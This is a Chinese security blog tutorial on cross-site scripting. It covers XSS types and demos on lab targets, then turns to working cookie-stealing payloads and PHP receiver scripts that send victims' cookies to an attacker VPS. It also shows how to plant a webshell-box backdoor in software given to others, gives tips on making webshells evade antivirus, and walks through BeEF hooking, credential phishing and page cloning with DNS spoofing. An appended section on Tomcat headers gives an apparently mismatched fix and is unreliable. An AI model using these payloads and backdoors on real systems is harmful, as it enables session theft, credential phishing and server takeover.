17-xss漏洞

思维导图

img

一、xss原理

1.XSS跨站漏洞产生原理

跨站脚本,诞生于1996年,为了防止和css混肴固取名XSS。

攻击者向WEB页面插入前端代码(HtML,CSS,JS等),让代码可以被浏览器执行,访问该页面的用户就会被攻击一般是插入恶意JS代码。

本质:由于过度信任用户的输入,导致对输入内容校验不严格,将用户的输入的数据当作前端代码来执行。

危害:

  • 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 3、盗窃企业重要的具有商业价值的资料
  • 4、非法转账
  • 5、强制发送电子邮件
  • 6、网站挂马
  • 7、控制受害者机器向其它网站发起攻击(重定向语句)
  • 8、窃取cookie的sessionid,冒充登录。

常规用到的是盗取cookie、js做钓鱼攻击、流量指向等。主要是盗取管理员的会话和cookie信息,就是我们常说的管理员凭证,就意味着得到后台权限,可以直接利用。还能配合别的漏洞,比如可以和网页木马结合,扔到那里去跳转到网马地址,网马地址被执行后续就控制一些权限

简单代码分析:

输出问题导致的js代码被识别执行

<?php

   	$xss=$_GET['x'];
	echo $xss;
//127.0.0.1/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 调用执行
//漏洞产生原理:输出问题

?>

image-20230321160003780

2.Xss跨站漏洞分类:

按形式分为:反射,存储,DOM

简要概述

1).反射型跨站脚本

(Reflected Cross-site Scripting):

也被称为非持久型,参数型跨站脚本,一次性

攻击流程:前端输入–>后端解析–>前端输出

原理:

将用户输入的数据同URL的形式直接或未经过完整过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的前端代码;因为只执行一次,且只有用户访问带有该漏洞的URL时才会触发攻击,所以一般被攻击者用来钓鱼使用,诱骗受害者访问该页面,从而完成攻击。

2).存储型跨站脚本

(Stored Cross-site Scripting):

持久型、比反射型危害更大

攻击流程: 前端输入→经过后端→存入数据库→前端调用数据→前端输出

原理:

将用户输入的数据通过后端存入网站数据库中,当网页被浏览时,网页进行

数据查询展示时,会从数据库中获取数据内容并将数据内容在网页中输出展示,只要用户浏览了包含此恶意代码的页面就会触发攻击,此类XSS不需要

用户访问特定的URL就能执行,攻击者事先将恶意恶意代码提交存储到服务器中

3). DOM型跨站脚本

(DOM Cross-site Scripting):

不经过服务器,前端js代码的利用

类似反射型XSS,只不过反射型是由后端解析输出到前端而DOM型是直接由前端的JS解析后输出,一次性

攻击流程: 前端输入→前端JS解析输出

本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:

Alice给Bob发送一个恶意构造了Web的URL

Bob点击并查看了这个URL。

恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。

具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。

Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

二、pikachu靶机演示

1.反射型

<script>alert(1)</script>

image-20230322232940952

2.存储型

每次刷新的时候都会弹框,已经保存到后端

image-20230322232539738

3.DOM型

由于dom型是纯前端操作

onclick 事件

定义和用法

onclick 事件会在元素被点击时发生。

输入框中输入:
' onclick="alert('xss')">

image-20230323100814015

onload 事件

实例

当页面载入完毕后执行Javascript代码:

<body onload="myFunction()">

定义和用法

onload 事件会在页面或图像加载完成后立即发生。

onload 通常用于 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码。

三、XSS 平台及工具使用

1.xxs平台

https://xssaq.com/?c

image-20230323102646356

image-20230323102808160

image-20230323140428319

2…xss获取cookie

概念:

用户凭据:通过凭据可以判断对方身份信息。

两种:

cookie 存储在本地 存活时间较长 小中型。

session 会话 存储在服务器 存活时间较短 大型。

3.xss工具

beef,postman

下载地址:

https://www.postman.com/downloads/

image-20230323141346882

获取的cookie可以通过该工具进行访问:

image-20230323143237393

4.Document 对象

当浏览器载入 HTML 文档, 它就会成为 Document 对象

Document 对象是 HTML 文档的根节点。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

**提示:**Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。

document.cookie设置或返回与当前文档有关的所有 cookie。

手写利用XSS漏洞获取对方cookie

1.编制了一个简单的cookie接收脚本

<?php
$cookie=$_GET['cookie'];
error_log("$ck\n",3,"cookie.txt");
?>

//error_log — 发送错误信息到某个地方
error_log(message,type,destination,headers);

error_log参数:

参数描述
message必需。规定要记录的错误消息。
type可选。规定错误应该发送到何处。可能的值: 0 - 默认。消息被发送到 PHP 的系统日志,使用操作系统的日志机制或者一个文件,取决于 php.ini 中如何 error_log 指令。 1 - 消息被发送到参数 destination 设置的邮件地址。第四个参数 extra_headers 只有在这个类型里才会被用到。 2 - 不再使用(仅用在 PHP 3 中) 3 - 消息被发送到位置为 destination 的文件里。字符 message 不会默认被当做新的一行。 4 - 消息被直接发送到 SAPI 日志处理程序中。
destination可选。规定错误消息的目标。该值由 type 参数的值决定。
headers可选。规定额外的头,比如 From、Cc 和 Bcc。该信息类型使用了 mail() 的同一个内置函数。仅当 message_type 设置为 1 的时候使用。应当使用 CRLF (\r\n) 来分隔多个头。

接收脚本方法2

<?php 

$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$cookie=$_GET['cookie'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

2.构造可以发送用cookie

构造可以发送用户cookie到我们vps的payload。

这里有以下2种方法。

方法一:直接利用script和img标签构造发送cookie的payload。
这种方法构造的payload较长。在DVWA有对输入字符长度的限制,这里我们可以通过审查元素绕过。

<script>document.write('<img src="http:/网址/vps/receive.php?cookie='+document.cookie+'" />')</script>

添加成功后,在我们vps中receive.php所在页面生成了一个名为cookie.txt的文件,盗取用户的cookie就被保存在这个文件中。

方法二:加载外部JS文件盗取cookie。
这样我们可以将更多的XSS代码放到外部的JS文件中,非常方便。这样也可以减小我们输入字符的长度。

<script src="http://vps/xss.js"></script>

xss.js文件内容:

new Image().src="http://vps/receive.php?cookie="+document.cookie;

接下来我们将payload插入到DVWA中。

image-20230323151401500

Webshell结合XSS:

Webshell和XSS(跨站脚本攻击)可以一起使用,以进一步危害受害者的Web应用程序和服务器。XSS攻击可以通过注入恶意脚本来劫持用户会话或在受害者的浏览器中执行恶意操作,而Webshell则可以通过获取远程访问权限来接管服务器并控制其资源。

当攻击者利用XSS漏洞成功注入恶意代码时,他们可以将Webshell注入到目标Web服务器中,从而获得完全的远程控制权。此后,攻击者可以通过Webshell执行各种操作,如窃取敏感数据、传播恶意软件、发起钓鱼攻击等等。此外,攻击者还可以使用Webshell将攻击代码上传到目标服务器中,从而使其成为“跳板”或“僵尸”主机,用于进一步攻击其他目标或执行更复杂的操作。

https://github.com/tennc/webshell

https://pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw 提取码xiao

Webshell常常被黑客用于入侵和控制受害者的服务器,因为它们可以绕过常规的安全措施,如防火墙和反病毒软件,并且在受害者不知情的情况下在后台运行。

制作免杀webshell

隐藏webshell最主要的就是做免杀,免杀做好了,你可以把webshell放在函数库文件中或者在图片马中,太多地方可以放了,只要查杀工具查不到,你的这个webshell就能存活很长时间,毕竟管理员也没有那么多精力挨个代码去查看。

演示案例

webshell箱子 搭建过程

需要低版本windowns

链接:https://pan.baidu.com/s/1wlnQVd6wd0oEXvKjD7SnRw?pwd=hj12 
提取码:hj12

1.下载完成后放在网站目录下

image-20230323165304926

2.将asp服务器放在网站目录下

image-20230323165505002

3.打开webshell_box

在目录下,双击Sws2.3就可以直接在浏览器中打开输入正确网址

然后先加载出来一个登录页面

账号:admin

密码:admin

image-20230323170434318

image-20230323170611591

点开系统设置的时候,有乱码,应该是被编码过

推测解码后会有后门

image-20230323170704915

使用方法:

一般就是在小马里面制作后门,也就是调用了webshell箱子的api接口。

image-20230323171913266

在你发送的软件中插入代码

下面2个实现获取当前网站的ip地址

&_SERVER["PHP_SELE"];正在执行的脚本文件名

$_SERVER["HTTP_HOST"];获取当前请求的host头部内容,即网站地址

修改api后门代码加到你的软件里面:
javascrip使用的:
<script src=""http://xxx/api.asp改成ip
?url="&server.URLEncode("""http://"&request.ServerVariables("HTTP_HOST")&request.ServerVariables("url"))&"&pass="&UserPass&"""></script>

//http://xxx/api.asp改成ip

php使用的:
 $password="admin";
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];

echo "<script src='http://ip地址/api.asp?url=$URL&pass=$password'>";



[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-om5qOG0i-1680021301923)(17-xxs%E6%BC%8F%E6%B4%9E.assets/image-20230323172854678.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9blCRBV-1680021301924)(17-xxs%E6%BC%8F%E6%B4%9E.assets/image-20230323173507301.png)]

当对方使用你的后门软件刷新时就会发送信息到你的平台

image-20230323173713027

检测后门:

可以通过抓包查看是否有可疑的数据包

image-20230323173713027

五、kali工具之Beef

简介

Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单。

官网:http://beefproject.com

主要功能

信息收集:

1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息

持久化控制:

1.确认弹框
2.小窗口
3.中间人

社会工程:

1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面

渗透攻击:

1.内网渗透
2.Metasploit
3.CSRF攻击
4.DDOS攻击

脚本安装

命令:
apt-get update
apt-get install beef-xss
apt-get install beef-xss

启动命令:beef-xss

启动之后

1621257990_60a26f06dc50f9d11de7a.png!small?1621257991992

网页登陆bef控制端

ss -lntp

会弹出来beef的登录窗口

这边我们在看一下beef绑定的3000端口

1621258371_60a270832792d58a44311.png!small?1621258372104

发现绑定3000端口的IP是0.0.0.0

发现是0.0.0.0 监听3000端口

那么远程也是可以访问的

http://ip:3000/ui/authentication

查看账号密码(也可进行更改)

找到配置文件(kali默认在/etc/beef-xss/config.yaml中);

cat /etc/beef-xss/config.yaml

1621258104_60a26f781db006942fc54.png!small?1621258105043

BeEF-XSS主页面介绍

启动BeFF-XSS并登陆进去

可以通过命令也可以图形化页面

1621258228_60a26ff456fd81e7ac2d3.png!small?1621258229523

触发payload

这里需要把图中红框中的payload复制粘贴到你的目标xss的位置,然后将其中的<IP>改成你这台kali的IP地址,最终payload为:

'<script src="http://X.X.X.X:3000/hook.js"></script>'

image-20230403140038026

使用方法

这里我们使用pikachu做实验:

image-20230403144723737

这时候再回到BeEF中查看,会发现online browers中多了点东西

image-20230403140618562

打开"online Browsers" 下的"commands",就可以运行模块对目标系统进行入侵。

例子:选择"commands"下面的"Hooked Domain"的create Alert Dialog(弹窗功能 ),点击右下角的"execute"运行

image-20230403141012489

四种颜色的功能:

  • 绿色的代表该功能有效,并且执行不会被用户所发现
  • 橙色的代表该功能有效,但是执行会被用户所发现
  • 白色的代表该功能不确定是否有效
  • 红色的代表该功能无效

部分常见功能介绍:

转载博客:BeEF的使用 - 蒋璐 - 博客园 (cnblogs.com)

获取用户Cookie

我们点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute。

img

然后点击我们执行的那条命令,右边就可以看到浏览器的 Cookie 了。

img

网页重定向

我们点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了。

img

社工弹窗

我们点击Social Engiineering——>Pretty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute

img

然后浏览器那边就会弹出框,如果你在框内输入了用户名和密码的话

img

如果用户输入了用户名和密码,点击了Log in的话,我们后台是可以收到密码的

img

钓鱼网站(结合DNS欺骗)

进入/usr/share/beef-xss/ 目录下,执行命令:./beef 启动 beef ,API Token值

钓鱼网站(结合DNS欺骗)

进入/usr/share/beef-xss/ 目录下,执行命令:./beef 启动 beef ,API Token值

image-20230403143441539

新打开一个页面,执行下面的命令

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com/","mount":"/"}' -X POST http://192.168.31.129:3000/api/seng/clone_page?token=a82658f10fba4a107e008c2591a2fc00fb0fc06b

#这里的地址token是我们上一步获取到的token, ip地址也要修改为kali的ip

image-20230403143753543

我们克隆的网站在目录:/usr/share/beef-xss/extensions/social_engineering/web_cloner/cloned_pages 下

img

我们访问:http://192.168.10.25:3000/ , 可以看到和百度一模一样。只要别人访问了该链接,这个浏览器就可以被我们控制了!

img

那么,如何让其他人访问我们的这个链接呢?我们可以结合DNS欺骗,将百度的地址解析到我们的这个链接上,这样,别人访问百度的时候就自动跳转到我们的这个页面了?

进行DNS欺骗之前,先去配置文件中把3000端口改成80端口img

然后利用bettercap进行DNS欺骗。img

然后重新打开beef,然后克隆www.baidu.com网站

只要被欺骗的主机访问www.baidu.com,其实跳转到了我们克隆的网站。这里百度的图片没加载出来,有点尴尬。

img

xss-labs靶场搭建

通关手册:https://blog.csdn.net/wo41ge/article/details/107459332

https://blog.csdn.net/weixin_43669045/article/details/107932942

靶场项目地址:https://codeload.github.com/do0dl3/xss-labs/zip/refs/he

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
根据提供的引用内容,X-XSS-Protection和X-Content-Type-Options都是用来防范XSS攻击的响应头。其中,X-XSS-Protection可以关闭或启用XSS保护,而X-Content-Type-Options可以防止浏览器将响应内容解释为MIME类型不正确的脚本。下面是Tomcat8如何解决这两个漏洞的方法: 1. 解决X-XSS-Protection漏洞 在Tomcat8中,可以通过修改web.xml文件来添加X-XSS-Protection响应头。具体步骤如下: - 打开Tomcat8的web.xml文件,路径为:$CATALINA_HOME/conf/web.xml。 - 在文件中找到以下代码块: ```xml <filter> <filter-name>httpHeaderSecurity</filter-name> <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class> </filter> <filter-mapping> <filter-name>httpHeaderSecurity</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` - 在该代码块中添加以下代码: ```xml <init-param> <param-name>xssProtectionEnabled</param-name> <param-value>true</param-value> </init-param> ``` - 保存并关闭文件,重启Tomcat8即可。 2. 解决X-Content-Type-Options漏洞 在Tomcat8中,可以通过修改web.xml文件来添加X-Content-Type-Options响应头。具体步骤如下: - 打开Tomcat8的web.xml文件,路径为:$CATALINA_HOME/conf/web.xml。 - 在文件中找到以下代码块: ```xml <filter> <filter-name>httpHeaderSecurity</filter-name> <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class> </filter> <filter-mapping> <filter-name>httpHeaderSecurity</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` - 在该代码块中添加以下代码: ```xml <init-param> <param-name>antiClickJackingEnabled</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>antiClickJackingOption</param-name> <param-value>SAMEORIGIN</param-value> </init-param> ``` - 保存并关闭文件,重启Tomcat8即可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值